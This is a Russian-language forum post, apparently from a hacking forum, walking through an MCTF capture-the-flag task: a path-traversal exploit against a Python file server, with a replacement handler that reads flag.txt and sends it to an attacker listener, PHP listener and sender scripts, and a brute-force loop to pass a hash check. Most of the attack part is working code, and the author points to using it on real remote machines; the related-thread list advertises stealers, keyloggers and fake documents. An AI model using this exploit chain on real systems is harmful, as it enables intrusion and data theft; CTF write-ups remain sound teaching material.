Эксплоит который может написать каждый

  • Автор темы Gidroponika
  • Дата начала
G

Gidroponika

9f6e18cb3f44c4c722d2a.png

По сложившейся традиции разбираю очередное задание олимпиады по информационной безопасности MCTF. В этот раз мы будем организованно писать эксплоит для серверного приложения, написанного на языке Python.

Общеизвестно, что эксплоит - это компьютерная программа, фрагмент программного кода или последовательность команд, которые используются уязвимости в программном обеспечении и применяются для осуществления атаки на вычислительную систему. Целью атаки является захват контроля над системой или нарушение её корректной работы (с) вики.​
В качестве подопытного предлагается код сервера на языке Python с несколько странной реализацией протокола. Ознакомиться с кодом приложения можно

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

, далее я прокомментирую его наиболее яркие фрагменты. Но прежде всего нам нужное его установить на локальной машине для вдумчивого препарирования. Итак

Запуск файла server.py на Ubuntu
В целом особых подводных камней тут нет, Python включен во все дистрибутивы повсеместно, однако тут ВНЕЗАПНО используется малоизвестная библиотека mmh3.

К сожалению, в дистрибутиве ubuntu ее нет, поэтому ставим из исходников

Код:
sudo apt-get install python-pip
sudo apt-get install python-dev
sudo python -m pip install mmh3
В результате скачиваются и компилируются исходники данного модуля, после чего сервер можно запустить командой

Код:
python server.py

Кроме того для безошибочной работы сервера нужно положить в его рабочую директорию файл flag.txt и каталогом выше подключаемый модуль ../file_handler.py.

Вообще цель заданий в этой олимпиаде - найти некие "флаги". Таким образом цель взлома server.py - считать содержимое файла flag.txt, который расположен в одном каталоге с исполняемым файлом сервера.

Анализ работы скрипта и поиск уязвимостей
Теперь откроем скрипт и подумаем над его кодом. Протокол сетевого обмена, который тут реализован странный. Но что поделать, настоящего хакера такой чепухой не остановить. Итак, как работает алгоритм.

В целом данный алгоритм можно охарактеризовать как серверная обработка некоторого передаваемого клиентом файла. Сервер слушает некий порт (за номером 1234) и ждет когда ему передадут имя файла и его содержимое. Далее сервер "натравливает" на него обработчик на том же python. Но как странно он это делает!

Подготовительные операции для обработки файла
После получения запроса сервер готовит себе окружение для дальнейшей работы. Делается все это при помощи функции move_to_sec_env, листинг которой чуть ниже. Приведу описание алгоритма как есть, без комментариев относительно "надежности" такого подхода. Итак, все в комментариях

Код:
def move_to_sec_env():
    global current_dir
    current_dir = id_generator() # Генерируем имя временной директории
    print current_dir
    os.system("mkdir /tmp/%s" % current_dir) # Создаем ее в папке /tmp (заодно
#понимаю что сервер работает под Linux
    os.system("mkdir /tmp/%s/server" % current_dir) #Там создаем подпапку server
    os.system("cp flag.txt /tmp/%s/server/" % current_dir) # Копируем туда файл flag.txt
    os.system("cp ../file_handler.py /tmp/%s/" % current_dir) #Копируем  обработчик
    os.chdir("/tmp/%s/server/" % current_dir) #Делаем поддиректорию server рабочей

Для нас важно, что файл flag.txt, который и нужен лежит в /tmp/%s/server и добраться до него уже заметно проще.

Получение описания (заголовка) для передаваемой информации
Тут странности продолжаются. В качестве заголовка сервер ждет ровно 1024 байта, не больше и не меньше. Почему так? Чтобы писать эксплоит было интереснее!

Далее делается следующее:

  • Проверяется, что первая строка содержит команду get. Это обязательное требование протокола - при отсутствии команды обработка запроса завершается, не начавшись;
  • Следом считывается 3-я строка - в ней содержится имя файла с которым будет работать сервер. На этом полезная информация, содержащаяся в блоке размером 1024 байта завершается. Остальной объем можно заполнить произвольным мусором;
  • Далее сервер читает новый блок данных (16 байтов), в котором содержится размер файла, который будет передан на обработку;
  • Теперь сервер готов получить указанное количество байт и записать его по адресу, содержащимся в переменной filename;
  • Передаем содержимое файла, который мы хотим записать на сервер.
Традиционно, в листинге приведен код который реализует сей протокол

Код:
#Блок для считывания данных протокола
    data = s.recv(1024)
    cmd = data[:data.find('\n')]

    if cmd == 'get':
        print 'data: %s' % data
        x, file_name, x = data.split('\n', 2)
        _size = s.recv(16)
        try:
            size = int(_size)
        except:
            leave_sec_env()

Обработка полученного файла
Далее идет обработка файла, а странности алгоритма продолжаются. Смотрим код

Код:
        if mmh3.hash(recvd) >> 16 != -30772 or 'server' in file_name:
            print 'Hey, you! Watch whatcha sending me!'
            leave_sec_env()

устанавливали в первой части

вычисляет контрольную сумму

Код:
#Грузим Python-обработчик и вызываем process_file
        file_handler = imp.load_source('module.name', '../file_handler.py')
        file_handler.process_file(file_name)
        leave_sec_env()

Прекрасно, прекрасно.

Пишем эксплоит
Идея эксплоита

Очевидна. Поскольку сервер выполняет сторонний код, то надо подменить тот, что расположен на нем и "подсунуть" наш. Мы видим, что при проверке данных сервер только убеждается в том, что в имени файла не содержится фраза "server". А защиты от известной уязвимости "../" нет. Что же будем эксплуатировать ее.

Передадим в качестве имени файла "../file_handler.py". Тогда (если конечно удастся пройти защиту, связанную с проверкой контрольной суммы) измененный файл-обработчик и будет эксплоитом!

Напомню, что цель взлома - получить содержимое файла flag.txt. Поскольку мы атакуем удаленный сервер, то для передачи, очевидно надо воспользоваться сетевым соединением.

Что нужно сделать? Прочитать содержимое файла flag.txt, подключиться по сети к атакующему компьютеру и передать данные. А поскольку server.py написан на Питоне, файл-эксплоит должен быть сделан на нем же.

В первом приближении получится нечто вроде:

Код:
#Читаем flag.txt и передаем его по сети
def process_file(name):
    import socket
    TCP_IP = '127.0.0.1'
    TCP_PORT = 5005
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((TCP_IP, TCP_PORT))
    f = open('flag.txt')
    s.send(f.read())
    s.close()

Небольшой комментарий. Эксплоит работает в режиме клиента. После запуска он инициализирует подключение к атакующему компьютеру по порту 5005 и передает туда интересующие нас данные. Конечно, если Вы будете использовать сей код для атаки реальной удаленной машине, не забудьте подставить вместо 127.0.0.1 свой IP-адрес.

Перехватчик конфиденциальной информации
Чтобы эксплоит мог передать интересующую нас информацию, на атакующем компьютере нужно запустить сервер, который будет прослушивать 5005 порт и печатать в консоль или сохранять полученную информацию.

Напишем его (для разнообразия на PHP)

Код:
<?php
while(1){

$conn = stream_socket_server('tcp://127.0.0.1:5005');
while ($socket = stream_socket_accept($conn)) {
$pkt = stream_socket_recvfrom($socket, 1500, 0, $peer);
if (false === empty($pkt)) {
stream_socket_sendto($socket, 'Received pkt ' . $pkt, 0, $peer);
}
print $pkt."\n";
fclose($socket);
usleep(10000); //100ms delay
}
stream_socket_shutdown($conn, \STREAM_SHUT_RDWR);
}

?>

Реализация отправки эксплоита на server.py
Теперь осталось написать небольшой код, который передаст наш файл на сервер. Для этого надо:

Открыть соединение с удаленной машиной по порту 1234

Передать ему заголовок длиной 1024 байта

Передать размер файла, который будет отправлен на сервер

Отправить сам файл

Надеяться что все пройдет как надо и мы получим по сети содержимое flag.txt

Итак, простой код отправки данный (опять на PHP), код на Python хранится в файле send.py

Код:
<?php
error_reporting(E_ALL);

/* Создаём  TCP/IP сокет. */
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

/* Пытаемся соединиться с '$address' на порту '$service_port'... */
$result = socket_connect($socket, '127.0.0.1', '1234');

/* Отправляем HEAD запрос..."; */
$in = "get
../file_handler.py
";

//Дополняем заголовок до 1024 байтов
for($i=strlen($in); $i<1024; $i++)
    $in=$in."X";

socket_write($socket, $in, strlen($in));

/* Отправляем SIZE запрос... */
$in = filesize("send.py");
for($i=strlen($in); $i<16; $i++)
    $in=" ".$in;
socket_write($socket, $in, strlen($in));

/* Отправляем DATA запрос... */
$in = file_get_contents("send.py");
socket_write($socket, $in, strlen($in));

/* Закрываем сокет... */
socket_close($socket);
?>

В целом, если бы в server.py отсутствовала проверка контрольной суммы (по очень нестандартному алгоритму), задача была бы решена. Но перед нами стоят дополнительные препоны - нужно отправить файл, соответствующий критериям отборки контрольной суммы.

Как известно даже с готовым набором контрольных сумм, подобрать для них подходящий открытый текст можно лишь перебором.

Очевидно, от нас ждут тут "метода грубой силы" (brute force, он же брут форс) и тотального перебора вариантов.

Что делать, если надо реализуем. Для этого добавим в конец передаваемого файла комментарий, составленный из случайных букв. Понятно, что при изменении содержимого, контрольная сумма файла тоже будет меняться. Обеспечим такую "случайность".

Код:
<?php
//алфавит из которого будет создаваться случайный комментарий
$alpha="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM";
while(1){
/* Создаём  TCP/IP сокет. */
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
$result = socket_connect($socket, '127.0.0.1', '1234');

$in = "get\n../file_handler.py\n";

for($i=strlen($in); $i<1024; i++)
    $in=$in."X";

socket_write($socket, $in, strlen($in));

/* Создаем "случайность"*/
$append = rand(0, 1024); //Определяем, какой будет у файла "хвост"
$in = filesize("send.py") +$append +2;

for($i=strlen($in); $i<16 i++)
    $in=" ".$in;

socket_write($socket, $in, strlen($in));

$in = file_get_contents("send.py");
$in= $in."\n#"; // Добавляем строку комментария
for($i=0; $i<$append; $i++)
    $in=$in.$alpha[rand(0, 50)]; //Дописываем комментарий
                                 //случайными буквами из алфавита

socket_write($socket, $in, strlen($in));
socket_close($socket);
usleep(100000); //100ms delay
}
?>

Эксплоит и вопросы производительности
Итак, получился готовый код для взлома указанного серверного приложения. Схема его работы следующая:

  • Запускаем скрипт, который ждет сообщения с атакуемого сервера по порту 5005
  • Запускаем скрипт отправки эксплоита с учетом перебора контрольной суммы
  • Ждем
  • PROFIT
Следует отметить, что если запустить перебор слишком быстро (то есть без задержки между отправками), то сервер не успевает подготовить окружение во временной папке, из-за чего в консоль валятся сообщения, вроде приведенного ниже. Побороть некорректную работу можно установкой задержки межу отправками файла (при помощи команды usleep).

Код:
mkdir: cannot create directory ‘/tmp/1ZEPAP’: File exists
mkdir: cannot create directory ‘/tmp/1ZEPAP/server’: No such file or directory
cp: cannot create regular file ‘/tmp/1ZEPAP/server/’: No such file or directory
cp: cannot create regular file ‘/tmp/1ZEPAP/’: Not a directory
Traceback (most recent call last):
  File "server.py", line 79, in module
    handle_client(s)
  File "server.py", line 32, in handle_client
    move_to_sec_env()
  File "server.py", line 23, in move_to_sec_env
    os.chdir("/tmp/%s/server/" % current_dir)
OSError: [Errno 2] No such file or directory: '/tmp/1ZEPAP/server/'

В итоге перебор файлов для того, чтобы они удовлетворяли условию оказался довольно ресурсоемким и занял у меня приблизительно 21 минуту 5 секунд.

Вот собственно и все. Естественно, кроме кражи флага можно выполнить любую другую произвольную команду. Все. Всем спасибо за внимание.
 
  • Like
Реакции: Aleksandr. и Ltb12263
Название темы
Автор Заголовок Раздел Ответы Дата
А Эксплоит на поднятие прав Полезные статьи 5
NickelBlack Эксплоит пак для роутеров. Уязвимости и взлом 4
Ёшкин_кот Интересно Пишем любой текст на листочке который держит обнажённая девушка. 18+ Свободное общение и флейм 0
Support81 Кто стоит за Agent Racoon? Тайный хакер, который атакует Android и угрожает мировой безопасности Новости в сети 0
turbion0 Интересно Госсовет поддержал законопроект, который требует использовать в такси автомобили только российской сборки Новости в сети 0
D3v1l Бесплатный Чекер логов на YOUTUBE/STEAM/BATTLE.NET/FB/G-PAY/Binance/Coinbase/FREEBTC/icloud/yahoo/hotmail | Софт который сделает всю работу за тебя! Продажа софта 1
A Закрыто Youtube Tags | Софт который поднимает SEO Корзина 1
A Ищу человека который умеет банить,блокировать,ложить телеграм аккаунты Предоставляю работу. Ищу специалиста. 2
NickelBlack Интересно Coqui - Кейлоггер, который активируется только для сайтов, связанных с банками. Вирусология 0
Denik Интересно Бомж,который поднялся на бирже Новости в сети 3
Admin Кидала который представляется гарантом expclan.org и их фейки Black list и Разборки 5
S Вирус. Вредный экранный гусь,который крадёт курсор и оскорбляет. Полезные статьи 2
S Песенка спета. Разбираем простой трюк, который поможет отключить чужую Bluetooth колонку Уязвимости и взлом 5
S Интервью с типом который зарабатывает 3-4к$ за пару дней. Новости в сети 1
R ищу отрисовщика который сможет сделать так чтобы photoid приняли к верификации Предоставляю работу. Ищу специалиста. 3
B В Китае анонсировали смартфон, который может обнаружить скрытые камеры Новости в сети 0
CMDfromBAT Интересно sAINT - стиллер на Kali Linux, который твой Windows Защитник не распознает Вирусология 33
T Сократитель ссылок, который оплачивает переходы Способы заработка 0
P ребят как называется сайт который определяет страну по домену в мыле? Вопросы и интересы 2
АнАлЬнАя ЧуПаКаБрА INLINE Хайп который платит Проекты Private Keeper 0
R Private Keeper Шоп магазин который шипает USA Проекты Private Keeper 1
M Халява Dota2 вещи , сайт который реально даёт бонуску Способы заработка 10
R Скрипт, который продавался за 2к Другие ЯП 1
G Textify:копируем текст,который нельзя скопировать Софт для работы с текстом/Другой софт 0
J Монах который пропил свой феррари Способы заработка 4
A Ищу напарника, который научит грамотному взлому сайтов Свободное общение и флейм 3
Домен, который невозможно заблокировать ВК. Полезные статьи 8
S Пять шагов к спасению Linux-сервера, который рухнул Другие ЯП 0
А Сканер который не сливает Полезные статьи 12
Admin Суд вынес приговор украинскому кардеру мухе, который прислал 1 г героина кребсу и позвонил в полицию Новости в сети 0
АнАлЬнАя ЧуПаКаБрА Шоп который дает Проекты Private Keeper 0
D FJProxyTester_0.1 -Прокси чекер,который советует Кра6 Proxy/Прокси 1
Support81 YouTube: просмотр видео может сделать вас подозреваемым в глазах полиции Новости в сети 0
Support81 Никто не может служить двум господам... Свободное общение и флейм 2
Support81 На волнах инноваций: плавучий дата-центр может стать первым в мире независимым ИИ-государством Новости в сети 0
Support81 ИИ в роли злоумышленника: может ли машина превзойти человека в искусстве обмана? Новости в сети 0
turbion0 Интересно Госдума может запретить регистрацию на российских сайтах с зарубежными имейлами Новости в сети 1
D Как поставить лайк? или убрать хайд? может ли не показываться кнопка лайка? Вопросы и интересы 7
DOMINUS Интересно Каждый четвертый банкомат в России может быть уязвим Новости в сети 0
DOMINUS Интересно Причины избегать общественного Wi-Fi - Что может случиться? Полезные статьи 0
B Ищу работу, может кто что-то подскажет ? Вопросы и интересы 1
C Кто может крякнуть бота? Вопросы и интересы 6
S мур,приват около 60%,может кому надо,невалид Раздача email 0
S мур,приват66%,невалид,может кому надо Раздача email 0
L Интересно Венчурный инвестор назвал криптовалюту, которая может сместить Ethereum со второго места Новости в сети 0
I Всем добра! Кто может обновить фейки? Вопросы и интересы 0
W Кто может взломать сайт ? Уязвимости и взлом 0
S бтс уники,взял 4$))))пробуйте может вам повезет больше! Раздача email 10
S ак мега,вк микс,гагрузка 2018,может кому и надо,2 гига Раздача email 2
S бтс уники,снял не много 23$,может вам зайдет Раздача email 5

Название темы